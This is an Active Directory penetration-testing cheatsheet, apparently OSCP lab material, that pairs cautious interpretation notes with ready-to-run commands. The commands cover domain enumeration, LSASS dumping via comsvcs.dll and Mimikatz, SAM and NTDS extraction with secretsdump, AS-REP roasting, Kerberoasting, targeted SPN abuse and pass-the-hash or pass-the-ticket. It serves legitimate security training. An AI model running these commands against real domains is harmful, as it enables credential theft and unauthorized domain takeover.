10.12 Active Directory Cheatsheet

Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Correct realm/domain and account qualification; reachable DC/services, usable DNS and acceptable clock skew

10.12.18.1.2.1 Domain-joined Windows source

whoami /all
echo %USERDNSDOMAIN%
echo %USERDOMAIN%
echo %LOGONSERVER%
nltest /dsgetdc:DOMAIN
nltest /dclist:DOMAIN
w32tm /query /status

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Resolve-DnsName -Type SRV _ldap._tcp.dc._msdcs.DOMAIN
Resolve-DnsName -Type SRV _kerberos._tcp.DOMAIN

10.12.18.1.2.2 Kali/off-domain source

dig +short SRV _ldap._tcp.dc._msdcs.DOMAIN @DC_IP
dig +short SRV _kerberos._tcp.DOMAIN @DC_IP
nxc smb DC_IP -d DOMAIN -u USER -p 'PASSWORD'
ldapsearch -x -LLL -H ldap://DC_HOST:389 -s base -b '' \
  defaultNamingContext configurationNamingContext rootDomainNamingContext dnsHostName

whoami /all
klist
dir \\DC_HOST\SYSVOL

IDENTITY MAP: USER/COMPUTER -> DIRECT + NESTED GROUPS -> DIRECTORY RIGHTS
HOST MAP:     COMPUTER -> OS/ROLE -> LOCAL/REMOTE-ACCESS RIGHTS -> SESSIONS
ROUTE MAP:    SOURCE -> DNS/KDC/DC/HOST -> REQUIRED PORT/SERVICE
LEAD MAP:     EVIDENCE -> HYPOTHESIS -> MINIMUM VALIDATION -> NEXT BLOCK

Authentication, authorization, reachability and session presence are independent. A valid LDAP bind does not prove share access; SMB administration on one host does not prove directory privilege; a session edge does not prove retrievable credentials.

AS-REQ/AS-REP: user proves knowledge of long-term key -> receives TGT
TGS-REQ/TGS-REP: TGT requests SERVICE/HOST -> receives service ticket
AP-REQ: client presents service ticket -> service authenticates client
AUTHORIZATION: target service still evaluates the represented identity/claims

Before changing credentials or tools:

getent hosts DC_HOST
nc -nvz DC_IP 88
date -u

w32tm /query /status
klist

Record domain FQDN/realm, DC FQDN/IP, source DNS, current time, KDC route and exact target SPN. IP connectivity does not replace hostname/SPN correctness.

Verify: Record represented identity, realm, selected DC, resolver, clock and real source route.

If it fails: Wrong domain, KDC timeout, clock skew and account denial are distinct failures. Do not repeatedly change passwords to fix a route problem.

Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Correct search base and authentication transport; object/attribute visibility and compatible local utilities

net user /domain
net user USER /domain
net group /domain
net group "Domain Admins" /domain
net group "GROUP" /domain
net accounts /domain
nltest /domain_trusts /all_trusts
net view /domain
net view \\DC_HOST

Get-Command -Module ActiveDirectory
Get-ADDomain
Get-ADForest
Get-ADDomainController -Filter *
Get-ADUser -Filter * -Properties Enabled,Description,MemberOf,ServicePrincipalName,UserPrincipalName,PasswordLastSet,LastLogonDate,AdminCount
Get-ADGroup -Filter * -Properties GroupScope,GroupCategory,Members,Description
Get-ADGroupMember -Identity 'GROUP' -Recursive
Get-ADComputer -Filter * -Properties DNSHostName,OperatingSystem,OperatingSystemVersion,ServicePrincipalName,TrustedForDelegation,LastLogonDate
Get-ADTrust -Filter *

$root = [ADSI]'LDAP://RootDSE'
$base = [ADSI]("LDAP://" + $root.defaultNamingContext)
$searcher = New-Object System.DirectoryServices.DirectorySearcher($base)
$searcher.PageSize = 1000
$searcher.PropertiesToLoad.AddRange(@('samaccountname','userprincipalname','objectsid','memberof','serviceprincipalname','description','useraccountcontrol','pwdlastset','lastlogontimestamp'))
$searcher.Filter = '(&(objectCategory=person)(objectClass=user))'
$searcher.FindAll() | ForEach-Object { $_.Properties }

# Groups
$searcher.Filter = '(objectCategory=group)'
$searcher.PropertiesToLoad.Clear()
$searcher.PropertiesToLoad.AddRange(@('samaccountname','objectsid','member','grouptype','description'))
$searcher.FindAll() | ForEach-Object { $_.Properties }

# Computers
$searcher.Filter = '(objectCategory=computer)'
$searcher.PropertiesToLoad.Clear()
$searcher.PropertiesToLoad.AddRange(@('dnshostname','operatingsystem','operatingsystemversion','serviceprincipalname','useraccountcontrol','lastlogontimestamp'))
$searcher.FindAll() | ForEach-Object { $_.Properties }

ldapsearch -x -LLL -H ldap://DC_HOST:389 -s base -b '' \
  defaultNamingContext configurationNamingContext rootDomainNamingContext dnsHostName

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
  -E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
  '(&(objectCategory=person)(objectClass=user))' \
  sAMAccountName userPrincipalName objectSid userAccountControl memberOf description servicePrincipalName pwdLastSet lastLogonTimestamp adminCount

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
  -E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
  '(objectCategory=group)' sAMAccountName objectSid member groupType description

ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
  -E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
  '(objectCategory=computer)' dNSHostName operatingSystem operatingSystemVersion servicePrincipalName userAccountControl lastLogonTimestamp

# SPN-bearing accounts: mapping only; do not request tickets in this block.
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
  -E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
  '(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))' \
  sAMAccountName servicePrincipalName memberOf userAccountControl pwdLastSet

# Trusted-domain objects
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
  -b 'DC=DOMAIN,DC=TLD' '(objectClass=trustedDomain)' \
  cn securityIdentifier trustDirection trustType trustAttributes

# OUs and GPO containers; correlate links before inferring host effect.
ldapsearch -x -LLL -H ldap://DC_HOST:389 -D 'USER@DOMAIN' -W \
  -E pr=1000/noprompt -b 'DC=DOMAIN,DC=TLD' \
  '(|(objectClass=organizationalUnit)(objectClass=groupPolicyContainer))' \
  distinguishedName displayName name gPLink gPOptions

Import-Module .\PowerView.ps1
Get-Command -Module PowerView
Get-Domain
Get-DomainController
Get-DomainTrust
Get-DomainUser | Select-Object samaccountname,userprincipalname,description,memberof,serviceprincipalname
Get-DomainGroup
Get-DomainGroupMember -Identity 'GROUP' -Recurse
Get-DomainComputer | Select-Object dnshostname,operatingsystem,operatingsystemversion
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof

NEW PASSWORD/HASH/KEY/TICKET
-> VERIFY TYPE, CLIENT, REALM, VALIDITY
-> AUTHENTICATE THROUGH ONE COMPATIBLE SERVICE
-> CONFIRM IDENTITY
-> REPEAT GROUP/ACL/SHARE/HOST/SESSION/ROUTE MAPPING

Do not overwrite the old state. Record which source produced the material and which protocol accepted it.

Verify: Retain object identifiers, group relationships and actual visibility; distinguish directory facts from inferred execution access.

If it fails: Missing RSAT/PowerView does not block built-in ADSI or LDAP. Signing/TLS policy requires a compatible authenticated transport.

Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Reachable SMB plus share/object read rights in the chosen identity context

10.12.18.1.9.1 Inventory, then test the object

net view \\DC_HOST
dir \\DC_HOST\SYSVOL
dir \\DC_HOST\NETLOGON

nxc smb DC_IP -d DOMAIN -u USER -p 'PASSWORD' --shares
smbclient -L //DC_IP -U 'DOMAIN/USER'
smbclient //DC_IP/SYSVOL -U 'DOMAIN/USER' -c 'recurse ON; ls'
smbclient //DC_IP/SHARE -U 'DOMAIN/USER'

Inside smbclient, use ls, cd, get FILE and a harmless approved put only when write validation is needed. Share listing, share connection, file read and file write are separate permissions.

Inspect authorized readable policy/logon/deployment paths for scripts, configurations, backups, connection strings and legacy Group Policy Preferences XML containing cpassword. Selectively retrieve relevant files; do not bulk-copy a share merely because it is readable. A discovered secret returns to the credential-classification procedure.

Verify: Prove read access and actual artifact content; keep recovered real secrets private.

If it fails: Share listing denial does not necessarily deny a known share path, and login success does not guarantee object read access.

Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Directory visibility and correct service/account association; roasting requires the additional authentication and encryption conditions

setspn -Q */*
setspn -L ACCOUNT

Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,memberof,useraccountcontrol,pwdlastset

Record account → service class/host/port → groups → password age/encryption/delegation clues → reachable service. An SPN means the account represents a Kerberos service identity; it does not mean the password is weak, the service is reachable or the account is privileged. Ticket acquisition/cracking is Block 11.

Verify: Record SPN, account/object type and relevant privilege relationships before prioritizing recovery.

If it fails: An SPN alone proves neither weak password nor destination admin rights. Rank by evidence and potential benefit.

Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Effective trustee membership, target object/type, inheritance/deny behavior and the exact permitted operation

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight|WriteProperty|Self' } |
  Select-Object ObjectDN,SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType,IsInherited,InheritanceType

PowerView normally exposes the trustee as SecurityIdentifier. Resolve that SID and trace controlled direct/nested membership. -ResolveGUIDs resolves operation GUIDs; it does not make every trustee a friendly account name. A blank projected column can mean the selected property is absent, not that an ACE has no trustee.

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight|WriteProperty|Self' } |
  Select-Object ObjectDN,IdentityReference,ActiveDirectoryRights,ObjectAceType,AceType,IsInherited,InheritanceType

An ACE is one rule. Effective access depends on trustee/group nesting, allow/deny semantics, inheritance, object-specific GUIDs and security descriptor scope. Do not perform the modification in this mapping block.

Model: controlled principal → effective ACE → target object/type → permitted modification → authentication/authorization effect → cleanup.

Enumerate a target's ACL with resolved GUIDs:

Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }

Resolve trustees:

ConvertFrom-SID 'S-1-5-21-...'
Get-DomainObject -Identity 'S-1-5-21-...' | Select-Object samaccountname,objectclass

Common effects require different rights:

Verify: Verify principal, object SID/type and effective permitted modification; preserve original ACL/state before changes.

If it fails: A stale graph, inherited scope mismatch or deny/protected-object behavior can invalidate the edge.

Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Reachable destination service and its actual authorization; session evidence must be current and collection rights sufficient

Find-LocalAdminAccess

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

Find-LocalAdminAccess is a broad candidate generator and can be noisy or blocked by firewall/RPC controls. Validate a selected host with the service you may actually use. NetExec's (Pwn3d!) indicates administrative SMB context according to that tool; it does not establish RDP, WinRM, WMI/DCOM or directory rights. RDP, WinRM, SMB/service control and WMI/DCOM each have different ports, services, policies and authorization.

Get-NetSession -ComputerName COMPUTER -Verbose
Get-NetLoggedon -ComputerName COMPUTER

PsLoggedOn.exe \\COMPUTER

Get-NetSession relies on workstation/session enumeration APIs that modern Windows may restrict. PsLoggedOn combines Registry profile evidence with NetSessionEnum; remote Registry access and sufficient rights are relevant, and querying can itself create a network-session entry. Therefore:

• empty/denied is inconclusive, not proof of no users;
• a session is a time-sensitive observation, not a durable ACL;
• a session matters only if the current identity can reach/control that host and a later credential/ticket technique applies;
• session presence does not prove credentials are resident, accessible or reusable.

Verify: Record the destination-specific successful action and freshness/limits of session evidence.

If it fails: Collection denial is not proof that no sessions exist; a valid credential is not proof of every host-access method.

Need: A known domain identity or a directory endpoint that permits the selected anonymous query. Compatible collector/deployment, explicit scope, directory rights and separate permission/connectivity for host/session collection

10.12.18.1.18.1 Current SharpHound CE

Low-noise directory baseline that avoids contacting every workstation:

.\SharpHound.exe --CollectionMethods DCOnly --OutputDirectory .\bh --ZipFileName domain-dconly.zip

Add host facts only when they can answer the next question:

.\SharpHound.exe --CollectionMethods LocalGroup --ComputerFile .\candidate-hosts.txt --OutputDirectory .\bh --ZipFileName candidate-localgroups.zip
.\SharpHound.exe --CollectionMethods Session --ComputerFile .\candidate-hosts.txt --Loop --LoopDuration 00:10:00 --OutputDirectory .\bh --ZipFileName candidate-sessions.zip

SharpHound with no collection flag uses its broader default, including directory data plus local-group/session attempts. All performs every supported method; it is not the first response to an unanswered narrow question. Import the output ZIP into a compatible BloodHound CE deployment and verify node/edge counts and ingestion errors.

# Inspect the actual collector before using copied syntax.
.\SharpHound.exe --help

# Legacy/course PowerShell collector; use only with a compatible legacy deployment.
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory .\bh -ZipFileName legacy.zip

10.12.18.1.18.2 Noninteractive Kali first pass

Use one valid domain identity and scoped DC/SMB connectivity. Start in a fresh private directory so graph output and reports do not mix identities. DOMAIN is the DNS domain; DOMAIN_NETBIOS is its short name, DC_HOST the DC FQDN, and TARGET one approved SMB host. No menu input is required.

mkdir -p ~/oscp/work/TARGET/evidence/ad-first-pass
cd ~/oscp/work/TARGET/evidence/ad-first-pass
bloodhound-ce-python -d DOMAIN -u USER -p 'PASSWORD' -dc DC_HOST -ns DC_IP -c DCOnly --disable-autogc --zip
ldapdomaindump -u 'DOMAIN_NETBIOS\USER' -p 'PASSWORD' -o ldap-inventory ldap://DC_IP
bloodyAD --host DC_HOST --dc-ip DC_IP -d DOMAIN -u USER -p 'PASSWORD' get writable --detail --partition DOMAIN > writable.txt
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares --no-admin-check --log shares.log

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares --no-write-check --log shares.log

Do not use linWinPwn --auto as a substitute for this selection: its automatic chain has additional attack behavior. Its menu-based all,LoggedOn collector adds host RPC and remote-registry access that can trigger RemoteRegistry startup. The direct baseline also removes the wrapper's startup Nmap scan and conditional password-repair prompts. Authentication-method fallback can cause multiple authentication exchanges; stop and diagnose a failed credential rather than repeatedly running all collectors.

Sources: BloodHound.py CE, ldapdomaindump, bloodyAD writable query, NetExec share enumeration. A future tool/dependency version needs renewed behavior checks; these commands are reference material, not a claim of target execution or explicit OffSec tool endorsement.

10.12.18.1.18.3 Analyze in this order

1. Mark only identities/hosts actually controlled. A low-privilege session on a host does not make the host itself fully owned.
2. Inspect the controlled principal's direct and nested group memberships and outbound object-control edges.
3. Inspect reachable computers where it has local admin, RDP, WinRM/DCOM or other applicable rights.
4. Inspect high-value goals and shortest paths only as hypothesis generation.
5. Classify each selected edge:
   • directory/static-ish: group, ACL, GPO, OU, trust;
   • host-derived: local group or user right;
   • volatile: session;
   • route-dependent: the required host/service must be reachable now.
6. Reproduce the minimum important relationship manually before handing it to Block 11 or 12.

ID | CONTROLLED PRINCIPAL | RELATIONSHIP | TARGET | SOURCE EVIDENCE
   | EFFECTIVE? | ROUTE/SERVICE | VOLATILITY | EXPECTED TRANSITION
   | MINIMUM VALIDATION | STATUS | NEXT BLOCK

Rank candidates by:

1. confidence that the relationship is effective;
2. deterministic value of the resulting identity/access;
3. route and service availability;
4. stability versus volatile session timing;
5. reversibility and impact;
6. number of unsupported assumptions.

Prefer a validated readable share/credential clue or direct object right over a multi-edge path built from stale sessions and unreachable hosts.

Verify: Validate every useful edge against current directory/host evidence and identify the transition each one enables.

If it fails: Collector/version incompatibility and partial data are tool/visibility failures. They do not prove the environment lacks a path.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required process/host privileges, useful sessions and compatible architecture; PPL/Credential Guard/protection may prevent access or remove material

whoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus

Interpretation:

• membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
• SeDebugPrivilege must be present and usable for common live-process access;
• a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
• LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
• EDR/AV can block a tool or dump path without proving the underlying credential source is empty.

An access-denied or empty result disproves only that method in the current context.

10.12.18.2.2.1 Read accessible logon-session material with Mimikatz Direct Mimikatz access

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets

Decisive output is a named logon session with a typed value: NTLM, AES key, DPAPI key or ticket. A username with Password : (null) is not a failed tool run when another useful field exists, and modern Windows commonly does not retain reusable cleartext.

10.12.18.2.2.2 Collect an authorized memory artifact for offline parsing Dump first, parse offline

Built-in comsvcs.dll method from an elevated command prompt:

for /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full

Sysinternals ProcDump alternative:

procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp

Parse with a compatible Mimikatz build:

mimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets

Common failures:

• dump creation denied: token/protection/EDR or process-access prerequisite failed;
• ProcessorArchitecture mismatch: use compatible x64/x86 tooling;
• OS major-version mismatch: parse with a compatible build/environment;
• dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.

LSASS dumps are sensitive and noisy. Hash the evidence if needed, transfer through the established route, store it privately and remove the target copy after the authorized objective.

Get-ComputerInfo | Select-Object DeviceGuardSecurityServicesConfigured,DeviceGuardSecurityServicesRunning

Credential Guard can isolate reusable domain secrets from ordinary LSASS memory. It does not erase local SAM, file, vault, DPAPI, ticket, service-configuration or directory-right paths. One failed dump method disproves only that method and context. Intrusive SSP interception changes system state and waits for a future logon; it is not the default Block 5 response.

Verify: Tie each artifact to an account, source/logon session and material type; independently validate any useful reuse.

If it fails: Protected process access denial, absent sessions and unsupported parsing are different outcomes. Prefer an accessible ticket or other matched source when available.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Matched SAM/SYSTEM from the same system and appropriate read/backup access

reg save HKLM\SAM C:\Windows\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL

Mimikatz alternative from a suitable elevated context:

privilege::debug
token::elevate
lsadump::sam

Interpret a typical account row as:

LOCAL_USER:RID:LM_HASH:NT_HASH:::

The NT hash is local-account material. Its reuse depends on the same local password existing elsewhere, account state, remote UAC restrictions, service support and host authorization. Return it to the credential-classification workflow; do not call it a domain credential.

Verify: Verify source machine, matched hive pair and account/RID mapping; validate destination rights separately.

If it fails: Mismatched/incomplete hives or denied backup operations require source repair. Local hashes do not automatically grant domain access.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Appropriate host/read privilege and complete matching key/source files

reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y

impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL

Mimikatz alternative:

privilege::debug
token::elevate
lsadump::secrets
lsadump::cache

Potential categories:

• $MACHINE.ACC: member computer's domain-account secret/key material;
• service/autologon secrets: usefulness depends on whether the service/account remains active;
• NL$1-style cached logon data: DCC2/MSCache v2 verifier material.

DCC2 is for offline guessing, not Pass-the-Hash:

hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule

Verify the exact format with the installed Hashcat examples before cracking.

Verify: Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.

If it fails: Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Access to the protected data plus matching user/machine context, master-key material or an appropriate recovery factor

cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all

Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse -ErrorAction SilentlyContinue

For each entry record target, type, username, persistence/context and whether a compatible application can ask Windows to use it. A listed credential is not necessarily exportable plaintext.

DPAPI reasoning:

PROTECTED BLOB
-> MASTER-KEY GUID
-> USER OR MACHINE PROTECT SCOPE
-> MASTER-KEY DECRYPTION MATERIAL
-> APPLICATION-SPECIFIC DECODING

Possible decryption material includes the already logged-on user context, the user's password/NT hash, machine context or a domain DPAPI backup key. Prefer using the authorized existing context rather than copying unrelated protected data. One blob without its master key/context is incomplete.

Verify: Verify the decrypted value or actual saved-credential action in its matching context.

If it fails: Missing master keys, wrong protecting identity or incomplete artifacts require another source/context.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Matched NTDS/SYSTEM for offline parsing, or the specific remote protocol/host/replication rights required by the chosen method

10.12.18.2.10.1 Parse a matched domain database and SYSTEM hive offline Offline NTDS from an already controlled DC

An offline parse needs a matched NTDS.dit and SYSTEM hive:

impacket-secretsdump -ntds NTDS.dit -system SYSTEM.hive LOCAL

Obtaining locked DC database files normally requires DC-level privilege and a snapshot/backup-aware method. Ordinary local administrator on a member server does not provide this material.

10.12.18.2.10.2 Shadow-copy boundary: inspect before creating anything

From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:

whoami /priv
vssadmin list shadows
diskshadow

At the DISKSHADOW> prompt:

list shadows all
exit

Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.

10.12.18.2.10.3 Remote collection

impacket-secretsdump -dc-ip DC_IP 'DOMAIN/USER:PASSWORD@DC_HOST'

impacket-secretsdump -hashes :NT_HASH -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'

This broad form can invoke several remote collection paths and is high impact. Use it only when the lab objective and privileges justify those sources. For replication rights and a bounded one-user request, use Retrieve domain credential material through verified replication rights.

Verify: Verify source consistency, account mapping and the exact collection method; retain sensitive output privately.

If it fails: DC reachability or local administrator access on a member server is not sufficient for domain replication.

Need: A known domain username for a password-free request, or an authenticated bind for directory-backed discovery. Account with preauthentication disabled, KDC reachability and a supported returned encryption type; no-password and authenticated-discovery contexts differ

10.12.18.2.12.1 Why AS-REP roasting works

Ordinary Kerberos preauthentication makes the user prove knowledge of the long-term key before the KDC returns AS-REP material. If the account has DONT_REQUIRE_PREAUTH, an unauthenticated requester can ask for an AS-REP whose encrypted component can be tested offline against password candidates.

KNOWN USERNAME + PREAUTH DISABLED + KDC REACHABLE
-> AS-REP CIPHER
-> OFFLINE GUESSING
-> PASSWORD ONLY IF A CANDIDATE VERIFIES

10.12.18.2.12.2 Request an AS-REP for a known user without preauthentication One known user, no password

impacket-GetNPUsers 'DOMAIN/TARGET_USER' -no-pass -request \
  -dc-ip DC_IP -outputfile asrep-TARGET_USER.hashes

10.12.18.2.12.3 Check supplied account names for AS-REP recovery conditions Supplied user list, no password

impacket-GetNPUsers 'DOMAIN/' -no-pass -request -usersfile users.txt \
  -dc-ip DC_IP -outputfile asrep.hashes

10.12.18.2.12.4 Find AS-REP candidates through authenticated directory queries Authenticated directory-backed discovery

impacket-GetNPUsers 'DOMAIN/USER' -request \
  -dc-ip DC_IP -outputfile asrep.hashes

Omitting the password from the target lets the tool prompt rather than storing it in shell history.

10.12.18.2.12.5 Request selected Kerberos material from Windows with Rubeus Windows/Rubeus alternative

Rubeus.exe asreproast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:asrep.hashes /format:hashcat

10.12.18.2.12.6 Interpret before cracking

hashcat -m 18200 asrep.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep.hashes --show

Do not call the account compromised because a hash was captured. Only a verified offline candidate produces a password, and that password still needs identity/access mapping.

Verify: Verify the account, realm, response format/encryption type and recovered credential if cracking succeeds.

If it fails: Preauthentication-required disproves this method for that account; unknown user, route and clock failures have different meanings.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. A valid domain authentication/TGT context, reachable KDC, target SPN and a feasible password/encryption candidate strategy

10.12.18.2.14.1 Why Kerberoasting works

Any valid domain identity can normally request a service ticket for an SPN. The ticket is encrypted with key material belonging to the SPN account, allowing offline password guessing.

VALID DOMAIN IDENTITY + SPN ACCOUNT + KDC ROUTE
-> TGS-REP CIPHER
-> OFFLINE GUESSING
-> SERVICE-ACCOUNT PASSWORD IF A CANDIDATE VERIFIES

Rank SPN accounts before requesting tickets: group/ACL value, service/host, account type, password age, enabled state and resulting access matter more than collecting every ticket.

10.12.18.2.14.2 Enumerate without requesting tickets

impacket-GetUserSPNs -dc-ip DC_IP 'DOMAIN/USER'

Rubeus.exe kerberoast /stats /domain:DOMAIN /dc:DC_HOST

10.12.18.2.14.3 Request one selected user

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile kerberoast-TARGET_USER.hashes 'DOMAIN/USER'

Rubeus.exe kerberoast /user:TARGET_USER /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

impacket-GetUserSPNs -request -dc-ip DC_IP \
  -outputfile kerberoast.hashes 'DOMAIN/USER'

Rubeus.exe kerberoast /domain:DOMAIN /dc:DC_HOST /outfile:kerberoast.hashes

10.12.18.2.14.4 Select the recovery format that matches the returned Kerberos artifact Hash type and cracking

hashcat -m 13100 kerberoast.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19600 kerberoast-aes128.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 19700 kerberoast-aes256.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m MODE HASH_FILE --show

Select the mode from the actual prefix and current hashcat --example-hashes; do not assume every TGS is RC4. AES material is still an offline verifier but generally costs more per guess. Cracking feasibility is governed mainly by password strength and candidates, not merely ticket acquisition.

10.12.18.2.14.5 Common failures

• no SPNs returned: wrong domain/base/authentication context, filtering or no user SPNs;
• KDC_ERR_S_PRINCIPAL_UNKNOWN: SPN is absent/malformed or queried in the wrong realm;
• KDC_ERR_ETYPE_NOSUPP: requested cipher conflicts with account/domain policy;
• output wraps or fails to load: save directly to an output file and verify prefix/line integrity;
• crack exhausts candidates: password not represented by the tested model; the account is not therefore “secure.”

Verify: Record SPN/account/encryption type and verify any recovered password against the intended identity.

If it fails: No crack means only the tried candidates failed; a ticket request does not prove a weak password or host access.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Effective SPN-property right, compatible account, unique temporary SPN, authenticated TGS request and exact cleanup

If Block 10 proved effective write access to a user object's servicePrincipalName, an SPN can be temporarily added, requested and removed. This is a state-changing directory attack and must preserve original state.

Built-in SPN operations:

setspn -L TARGET_USER
setspn -S temporary/TARGET_USER TARGET_USER

Request only that account:

impacket-GetUserSPNs -request-user TARGET_USER -dc-ip DC_IP \
  -outputfile targeted-TARGET_USER.hashes 'DOMAIN/USER'

Cleanup:

setspn -D temporary/TARGET_USER TARGET_USER
setspn -L TARGET_USER

The controlled right must apply to the SPN attribute, -S must not collide with an existing SPN, and cleanup is part of the procedure. A recovered password is still validated and mapped as a new identity.

If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.

setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER

If it fails: GenericWrite must actually apply to the property/object. Duplicate SPNs, protected objects or policy can prevent the chain.

Need: A domain identity, appropriate host privilege, or a validated effective directory-object right. Matching client/realm/service, valid lifetime, compatible format and available KDC/service routes; ticket import affects a specific context

klist
klist tgt
klist sessions
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Linux cache:

klist -c ticket.ccache
export KRB5CCNAME="$PWD/ticket.ccache"

Convert only when a client expects the other container:

impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi

These commands establish a local ticket context. Block 12 selects and validates the remote service.

Windows/Rubeus:

Rubeus.exe ptt /ticket:ticket.kirbi
klist

Windows/Mimikatz:

kerberos::ptt ticket.kirbi
kerberos::list

Linux:

export KRB5CCNAME="$PWD/ticket.ccache"
klist

NT hash or AES key to a TGT:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

Use /aes128: or /aes256: when that is the actual key type and tool version supports it. RC4-based requests can fail where RC4 is disabled even though the NT hash is correct.

Mimikatz creates a new process using supplied key material:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:cmd.exe

This is a credential/ticket-context transition, not proof that a destination accepts the identity.

klist
klist tgt
klist sessions

When privileges permit inspecting another logon session:

klist -li 0xLUID tickets
klist -li 0xLUID tgt

Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap

Verify: Verify ticket client/server/lifetime and an actual service operation; record local versus network identity separately.

